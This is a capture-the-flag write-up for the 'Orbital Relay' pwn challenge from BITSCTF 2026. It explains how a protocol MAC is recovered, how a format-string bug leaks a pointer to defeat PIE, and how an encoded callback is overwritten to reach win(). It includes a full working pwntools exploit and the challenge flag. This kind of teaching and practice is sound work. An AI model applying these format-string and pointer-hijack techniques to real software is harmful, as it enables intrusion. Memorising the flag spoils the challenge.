$ Pwn: Orbital Relay

BITSCTF 2026 By TaklaMan
Flag: BITSCTF{0rb1t4l_r3l4y_gh0stfr4m3_0v3rr1d3}

Main Points

  1. The service enforces a framed protocol with a session MAC, but the MAC algorithm is recoverable and reproducible.
  2. chan=1 diagnostics TLV parsing contains two dangerous behaviors:
  • tag=0x10: attacker-controlled bytes are decrypted into global buffer st.
  • tag=0x40: calls printf(st, st, st128, keep_win) using attacker-controlled st as format string (format string vulnerability).
  1. The format string leaks a code pointer (keep_win/win), defeating PIE at runtime.
  2. tag=0x31 allows setting cb_enc to an attacker-controlled 8-byte value.
  3. On chan=9, if state checks pass, the program decodes cb_enc and indirectly calls it.
  4. By writing encoded win into cb_enc, execution is redirected to win(), which prints flag.txt.

Vulnerable Logic (High Level)

  • Authenticate via chan=3 with correct token.
  • Raise state via TLV 0x22 (set level > 2).
  • Use TLV 0x10 to place format string in st, then TLV 0x40 to trigger printf(st, ...) and leak pointer.
  • Use TLV 0x31 to place encoded callback value.
  • Send chan=9 teardown frame to trigger decoded callback call.

Exploit Strategy

  1. Handshake with SYNCv3?, receive sess.
  2. Recompute protocol MAC for all frames.
  3. Send valid auth token on chan=3.
  4. Send diagnostic TLVs:
  • 0x22 with value 0x03 (state gate pass)
  • 0x10 with encrypted %p.%p.%p
  • 0x40 trigger
  1. Parse leak and recover runtime win address.
  2. Encode raw value for cb_enc so enc_cb(cb_raw) == win_addr.
  3. Send TLV 0x31 with cb_raw.
  4. Send chan=9 frame to execute win().

Result

  • Recovered flag: BITSCTF{0rb1t4l_r3l4y_gh0stfr4m3_0v3rr1d3}

Main Program (pwntools)

#!/usr/bin/env python3
from pwn import *
import re

context.binary = ELF('./orbital_relay', checksec=False)
context.log_level = 'info'

HOST = '20.193.149.152'
PORT = 1339

C64 = 0x9E3779B97F4A7C15
INIT_ST132 = 0x28223B24

def rol32(x, r):
    return ((x << r) | (x >> (32 - r))) & 0xFFFFFFFF

def mix32(x):
    x &= 0xFFFFFFFF
    a = ((x << 13) & 0xFFFFFFFF) ^ x
    b = (a >> 17) ^ a
    c = ((b << 5) & 0xFFFFFFFF) ^ b
    return c & 0xFFFFFFFF

def kbyte(key, i):
    return mix32((key + ((i & 0xFFFF) * 0x045D9F3B)) & 0xFFFFFFFF)

def mac32(sess, chan, flags, payload):
    acc = ((chan & 0xFF) << 16) ^ (sess & 0xFFFFFFFF) ^ (flags & 0xFF) ^ 0x9E3779B9
    acc &= 0xFFFFFFFF
    for b in payload:
        acc = rol32(acc, 7) ^ (b + 0x3D)
        acc &= 0xFFFFFFFF
    return acc

def frame(sess, chan, flags, payload):
    m = mac32(sess, chan, flags, payload)
    return p8(chan) + p8(flags) + p16(len(payload)) + p32(m) + payload

def enc_tag10(plain, st128, st132):
    key = st128 ^ st132
    out = bytearray()
    for i, b in enumerate(plain):
        out.append(b ^ (kbyte(key, i) & 0xFF))
    return bytes(out)

def parse_win_ptr(blob):
    ptrs = re.findall(rb'0x[0-9a-fA-F]+', blob)
    if len(ptrs) < 3:
        return None
    return int(ptrs[2], 16)

def solve(io):
    io.send(b'SYNCv3?')
    sess = u32(io.recvn(4))
    log.info(f'sess=0x{sess:08x}')

    st128 = mix32(0x3B152813)

    token = mix32(INIT_ST132 ^ sess) ^ 0x31C3B7A9
    io.send(frame(sess, 3, 0, p32(token & 0xFFFFFFFF)))

    fmt = b'%p.%p.%p'
    tlv = b''
    tlv += p8(0x22) + p8(1) + b'\\x03'
    tlv += p8(0x10) + p8(len(fmt)) + enc_tag10(fmt, st128, INIT_ST132)
    tlv += p8(0x40) + p8(0)
    io.send(frame(sess, 1, 0, tlv))

    leak_blob = io.recvline(timeout=2) or b''
    log.info(f'leak_blob={leak_blob!r}')
    win_addr = parse_win_ptr(leak_blob)
    if win_addr is None:
        raise ValueError('failed to leak win address')
    log.success(f'win=0x{win_addr:x}')

    mask = (((st128 & 0xFFFFFFFF) << 32) | INIT_ST132) & 0xFFFFFFFFFFFFFFFF
    cb_raw = (win_addr ^ mask ^ C64) & 0xFFFFFFFFFFFFFFFF

    tlv2 = p8(0x31) + p8(8) + p64(cb_raw)
    io.send(frame(sess, 1, 0, tlv2))

    io.send(frame(sess, 9, 0, b''))

    data = io.recvrepeat(2)
    return data

if __name__ == '__main__':
    if args.LOCAL:
        io = process('./orbital_relay', stdin=PIPE, stdout=PIPE, stderr=PIPE)
    else:
        io = remote(HOST, PORT)

    out = solve(io)
    print(out.decode('latin-1', errors='ignore'))
    io.close()

Usage

  • Local: ./exploit.py LOCAL
  • Remote: ./exploit.py